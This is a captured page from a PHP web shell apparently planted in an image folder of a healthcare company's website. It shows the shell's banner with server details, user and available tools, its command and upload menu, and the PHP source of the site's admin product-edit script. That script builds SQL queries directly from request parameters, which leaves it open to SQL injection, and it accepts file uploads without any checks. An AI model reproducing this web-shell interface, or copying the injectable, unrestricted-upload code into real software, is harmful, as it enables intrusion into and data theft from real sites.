Server IP : 103.83.81.220 / Your IP : 3.145.196.208 Web Server : Apache System : Linux vps.erainfotech.co 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64 User : nirkonhealthcare ( 1248) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 323 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 329 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 335 OFF Directory (0755) : /home/nirkonhealthcare/public_html/img/icon/../../admin/../admin/js/../css/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include "conn.php"; error_reporting(0); ?> <?php $id = $_GET['id']; mysqli_set_charset($connect, "utf8"); $query = "SELECT * FROM products WHERE product_id='$_GET[id]'"; $result = mysqli_query($connect, $query); $row = mysqli_fetch_array($result); if (isset($_POST['submit'])) { $filename = $_FILES['profile']['name']; $tempname = $_FILES['profile']['tmp_name']; $folder = "productimages/" . $filename; $p = ""; if (move_uploaded_file($tempname, $folder)) { $p = " product_image = '$folder', "; } $product_name = $_POST['product_name']; $type = $_POST['type']; $product_description = $_POST['editor1']; $query = " UPDATE products SET product_name = '$product_name'," . $p . " product_type ='$type', product_description = '$product_description', product_status='Active' WHERE product_id = '$id'"; mysqli_query($connect, $query) or die($query); echo "<script> alert('Update Product Successfully'); window.location.href='all_products.php'; </script>"; } ?>